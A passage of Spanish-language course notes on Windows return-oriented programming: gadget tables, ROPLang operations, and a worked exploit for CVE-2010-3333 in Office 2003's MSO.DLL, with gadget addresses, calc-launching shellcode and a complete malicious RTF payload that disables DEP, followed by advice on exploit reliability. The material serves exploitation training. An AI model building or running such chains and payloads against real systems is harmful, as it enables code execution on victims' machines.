Cero en RAX | Construir NULL / retorno = FALSE |
add rsp, 0x28 ; ret |
Shadow space skip | Saltar shadow space x64 antes de call |
jmp rsp |
Jump al stack | Saltar al shellcode en el stack (sin DEP) |
leave ; ret |
Stack pivot con RBP | RBP controlado → nuevo RSP |
int 0x80 |
Syscall Linux 32b | Llamada al kernel (en Linux) |
syscall |
Syscall x64 | Llamada al kernel x64 |
Construcción de NULL byte sin incluir \x00 en el input¶
A veces el input no puede contener bytes nulos (\x00). Para construir un NULL:
Para construir una dirección cuyo valor contiene \x00, se puede usar aritmética:
; Si la dirección deseada es 0x004010A0 (contiene \x00):
; 1. Cargar el negativo: 0xFFBFEF60 (no contiene \x00)
; 2. Usar neg o not para obtener el valor correcto
pop rax ; ret
(0xFFBFEF60) ; valor sin \x00
neg rax ; ret ; RAX = 0x004010A0
Shadow space en x64 Windows¶
En la convención de llamada x64 de Windows (__fastcall), el caller debe reservar 32 bytes (0x20) de "shadow space" (también llamado "home space") en el stack antes de cada call. Los gadgets deben tener esto en cuenta.
Stack antes de un call a WinAPI (x64):
┌────────────────────┐ ← RSP (debe estar alineado a 16 bytes)
│ shadow space [0] │ ← 8 bytes para RCX home
├────────────────────┤
│ shadow space [1] │ ← 8 bytes para RDX home
├────────────────────┤
│ shadow space [2] │ ← 8 bytes para R8 home
├────────────────────┤
│ shadow space [3] │ ← 8 bytes para R9 home
├────────────────────┤
│ return address │ ← hacia donde retorna la WinAPI
└────────────────────┘
Gadget útil para saltar el shadow space dentro de una chain existente:
11. ROPLang — El lenguaje virtual de ROP¶
ROPLang es un lenguaje virtual de alto nivel que permite describir operaciones arbitrarias (aritméticas, lógicas, de memoria, de control de flujo) en términos de secuencias de gadgets ROP. Fue presentado en la investigación de D. Uroz & R.J. Rodríguez (Evaluation of the Executional Power in Windows using Return Oriented Programming, IEEE WOOT 2021).
ROPLang es Turing-completo. Cualquier cálculo arbitrario puede realizarse con una ROP chain bien construida. Por la tesis de Church-Turing, ROP puede simular una Máquina de Turing clásica.
Las operaciones virtuales se simulan con gadgets. La notación es similar a Intel assembler. A continuación se listan las categorías:
Nota: la instrucción
retal final de cada gadget se omite en las tablas por claridad.
Operaciones aritméticas¶
| Operación | Gadgets equivalentes |
|---|---|
add(dst, src) |
add dst, src |
clc + adc dst, src |
|
inc dst |
|
sub(dst, src) |
sub dst, src |
clc + sbb dst, src |
|
dec dst |
|
neg(dst) |
neg dst |
xor REG1, REG1 + sub REG1, dst + mov(dst, REG1) |
Operaciones de asignación¶
| Operación | Gadgets equivalentes |
|---|---|
mov(dst, src) |
mov dst, src |
xchg dst, src |
|
xor dst, dst + add dst, src |
|
xor dst, dst + not dst + and dst, src |
|
clc + cmovnc dst, src |
|
stc + cmovc dst, src |
|
push src + pop dst |
|
lc(dst, value) |
pop dst (el valor se coloca en el stack) |
popad (los valores se colocan en el stack en el orden correcto) |
Operaciones de desreferencia¶
| Operación | Gadgets |
|---|---|
ld(dst, src) |
mov dst, [src] |
st(dst, src) |
mov [dst], src |
Operaciones lógicas¶
| Operación | Gadgets equivalentes |
|---|---|
xor(dst, src) |
xor dst, src |
and(dst, src) |
and dst, src |
or(dst, src) |
or dst, src |
not(dst) |
not dst |
xor dst, 0xFFFFFFFF |
Por las Leyes de De Morgan, las operaciones lógicas se pueden reducir a los conjuntos
{and, or}o{xor, not, neg}.
Operaciones de comparación¶
| Operación | Operaciones equivalentes |
|---|---|
eqc(dst, src) |
sub(dst, src) + neg(dst) |
ltc(dst, src) |
sub(dst, src) |
Saltos condicionales e incondicionales¶
| Operación | Gadgets |
|---|---|
gcf(dstCF, cop(dst,src)) |
lc(REG1, 0) + comparación + adc dstCF, REG1 |
lc(REG1, 0) + comparación + sbb dstCF, REG1 + neg(dstCF) |
|
lc(dstCF, 0) + comparación + rcl dstCF, 1 |
|
lsd(dstCF, δ) |
lc(REG1, δ) + neg(dstCF) + and(dstCF, REG1) |
spa(src) |
add(REG_SP, src) (stack pointer advance) |
sps(src) |
sub(REG_SP, src) (stack pointer subtract) |
jmp(dst, δ) |
lc(dst, δ) + spa(dst) (salto incondicional) |
Relevancia práctica¶
Al analizar o construir exploits ROP, pensar en términos de ROPLang permite:
- Descomponer el objetivo (ej. "llamar a VirtualProtect con estos 4 argumentos") en operaciones elementales.
- Buscar gadgets que cumplan cada operación con herramientas como ROP3.
- Verificar side-effects — un gadget que realiza add eax, ebx ; ret pero también modifica ecx puede invalidar una operación posterior.
12. CVE-2010-3333 — Ejemplo real con ROP3¶
La vulnerabilidad¶
CVE-2010-3333 es un stack-based buffer overflow en la función de MSO.DLL encargada de parsear archivos RTF de Microsoft Office. Fue reportado en septiembre de 2010 y parcheado en el boletín MS10-087 (noviembre 2010).
En noviembre de 2012 fue usado en un ataque de spear phishing contra el NATO Special Operations Headquarters, enviando un archivo RTF malicioso por correo.
DLL afectada: MSO.DLL versión 11.0.5606 (Microsoft Office 2003)
- MD5: 251C11444F614DE5FA47ECF7275E7BF1
- No soporta ASLR → dirección base fija
Estructura RTF afectada:
El campo value del control pFragments se copia a un buffer de stack sin verificar longitud → overflow.
El objetivo: deshabilitar DEP con SetProcessDEPPolicy¶
En lugar de llamar a VirtualProtect, la técnica para Office 2003 (x86) usa SetProcessDEPPolicy(0), que desactiva DEP para el proceso completo, permitiendo ejecutar shellcode tradicional en el stack.
El truco con PUSHAD¶
En lugar de preparar los argumentos uno por uno, se usa el gadget pushad (opcode 0x60) que empuja todos los registros al stack en un solo paso:
Si antes de ejecutar pushad los registros tienen los valores correctos, el stack quedará con exactamente la estructura de argumentos que necesita SetProcessDEPPolicy:
Estado de registros ANTES de pushad:
EBX = 0x00000000 ← argumento dwFlags = 0 para SetProcessDEPPolicy
EBP = @SetProcessDEPPolicy ← dirección de la función
ESI = address1 ← return address post-VP (apunta al shellcode)
EDI = address1 ← (mismo valor)
ESP = address3 ← donde está el exploit payload
Stack DESPUÉS de pushad:
ESP → address1 (EDI)
address1 (ESI)
@SetProcessDEPPolicy (EBP)
address3 (original ESP)
0x00000000 (EBX) ← argumento 0 para SetProcessDEPPolicy
???? (EDX)
???? (ECX)
???? (EAX)
address3 → (exploit payload / shellcode)
Al retornar de pushad, el stack frame está listo para llamar directamente a SetProcessDEPPolicy(0).
Chain en ROPLang¶
nop() → gadget "standby" para alinear
lc(edi) → carga address1 en EDI
lc(esi) → carga address1 en ESI
lc(ebx) → carga 0x00000000 en EBX
lc(ebp) → carga @SetProcessDEPPolicy en EBP
pushad() → construye el stack frame completo
Gadgets encontrados en MSO.DLL (sin ASLR, usando ROP3 con --depth 2)¶
nop()
→ 0x30c92448: ret
lc(edi)
→ 0x30cae25c: pop edi ; ret
lc(esi)
→ 0x30ca32fd: pop esi ; ret
lc(ebx)
→ 0x30ca3654: pop ebx ; ret
lc(ebp)
→ 0x30ca32d1: pop ebp ; ret
pushad()
→ 0x30ce03b5: pushal ; ret
Shellcode y payload final¶
; Shellcode x86 para lanzar calc.exe
33C0 xor eax, eax
50 push eax
6863616C63 push 'calc'
8BC4 mov eax, esp
6A05 push 5
50 push eax
BFFDE53377 mov edi, kernel32.WinExec ; resuelto previamente
FFD7 call edi
Payload completo en formato RTF:
{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;4;0100020000001414141414141414141414141414
14141414141414141414141414141414824c93000000000000000000000000000000000000000000
5ce2ca30 ← ret (nop)
4824c930 ← pop edi ; ret
fd32ca30 ← pop esi ; ret
4824c930 ← valor para EDI/ESI (address1)
5436ca30 ← pop ebx ; ret
00000000 ← valor para EBX (argumento 0 para SetProcessDEPPolicy)
d132ca30 ← pop ebp ; ret
2f602e77 ← @SetProcessDEPPolicy (kernel32, resuelta)
b503ce30 ← pushal ; ret
33c0506863616c638bc46a0550bffde53377ffd7 ← shellcode WinExec("calc")
}}}}
Lección principal: con un módulo sin ASLR como
MSO.DLL, una vulnerabilidad de stack BOF y la técnicapushad, es posible construir un exploit completo con gadgets de alta calidad sin necesidad de info leaks previos.
13. Problemas comunes en exploits reales¶
El ciclo de vida de un bug¶
Un bug nace, vive, y muere. La mayoría no son descubiertos nunca, y muchos de los que sí se encuentran no llegan a ser explotados. Hacer funcionar un exploit en laboratorio no garantiza que funcione en producción.
"I think it really comes down to a compulsion to figure all this stuff out. As far as methods, I try to be somewhat systematic in my approach. I budget a good portion of time for just reading through the program, trying to get a feel for its architecture and the mindset and techniques of its authors." — Prophile on horizon, Phrack no. 60, Dec 2002
Factores de poca fiabilidad¶
| Factor | Descripción |
|---|---|
| One-factor exploit | Direcciones de retorno hardcodeadas — el exploit solo funciona en una versión específica del binario |
| Versionado del programa | Un parche mínimo puede reubicar funciones y romper todo el exploit |
| Problemas de red (exploits remotos) | Firewalls que bloquean paquetes específicos, ICMP bloqueado, MTU diferente, timeouts |
| Problemas de privilegios | El proceso víctima corre con menos privilegios de los esperados |
| Problemas de configuración | DEP, ASLR, CFG configurados de forma diferente al entorno de test |
| Sandbox / defensas del host | EDR, AV, Application Verifier, EMET/Windows Security Center activos |
| Problemas con threads | Condiciones de carrera entre el exploit y otros hilos del proceso |
Cómo mejorar la fiabilidad¶
- Depurar el payload exhaustivamente — step through gadget a gadget en x64dbg, verificar registros y stack en cada paso.
- Hacer un exploit local confiable primero — antes de intentar explotación remota, asegurarse de que funciona localmente al 100%.
- Fingerprinting del OS/aplicación — detectar la versión exacta del objetivo antes de enviar el payload (versiones diferentes = offsets diferentes).
- Buscar information leaks — si hay ASLR, identificar vulnerabilidades auxiliares (format string, OOB read) que revelen direcciones de módulos en memoria.
- Evitar bytes problemáticos — identificar qué bytes truncan el input en el vector de ataque (
\x00,\x0a,\x0d, etc.) y construir la chain evitándolos. - Probar en múltiples entornos — el exploit debe funcionar en distintas versiones del OS objetivo, no solo en la versión de laboratorio.
Persistencia: a veces un exploit no funciona en el campo por razones que nunca se llegan a conocer. La clave es ser sistemático, documentar cada prueba, y no asumir que lo que funcionó en laboratorio funcionará directamente en producción.
14. Resumen y Flujo de Explotación¶
Flujo completo de un exploit ROP en Windows¶
┌─────────────────────────────────────────┐
│ 1. Identificar vulnerabilidad │
│ (BOF stack/heap, UAF, etc.) │
└───────────────────┬─────────────────────┘
│
┌───────────────────▼─────────────────────┐
│ 2. Determinar mitigaciones activas │
│ DEP? Stack Canary? ASLR? CFG? │
└───────────────────┬─────────────────────┘
│
┌──────────┴──────────┐
│ ASLR activo │ ASLR inactivo
▼ ▼
┌─────────────────┐ ┌──────────────────────┐
│ 3a. Info Leak │ │ 3b. Módulos a base │
│ para obtener │ │ fija — usar gadgets │
│ base del módulo │ │ directamente │
└────────┬────────┘ └──────────┬───────────┘
└──────────┬────────────┘
│
┌───────────────────▼─────────────────────┐
│ 4. Buscar gadgets │
│ ROPgadget / ropper / mona.py │
│ en módulo elegido │
└───────────────────┬─────────────────────┘
│
┌───────────────────▼─────────────────────┐
│ 5. Construir la ROP chain │
│ Objetivo: VirtualProtect / │
│ VirtualAlloc / WinExec / etc. │
└───────────────────┬─────────────────────┘
│
┌───────────────────▼─────────────────────┐
│ 6. Armar el payload │
│ padding + ROP chain + (shellcode) │
└───────────────────┬─────────────────────┘
│
┌───────────────────▼─────────────────────┐
│ 7. Verificar en debugger │
│ x64dbg — step through gadgets │
│ Verificar registros y stack │
└───────────────────┬─────────────────────┘
│
┌───────────────────▼─────────────────────┐
│ 8. Ejecución de código arbitrario │
│ Shellcode, WinExec, LoadLibrary │
└─────────────────────────────────────────┘
Apunte basado en el material de Binary Gecko — Next-Gen Reverse Engineering Training, Módulo 4: Introduction to Vulnerability Exploitation; y en el PDF "Exploiting Software Vulnerabilities: Advanced Exploitation Techniques — Windows Shellcoding and ROP" (R.J. Rodríguez, Universidad de Zaragoza, 2022/2023, CC-BY-NC-SA 4.0).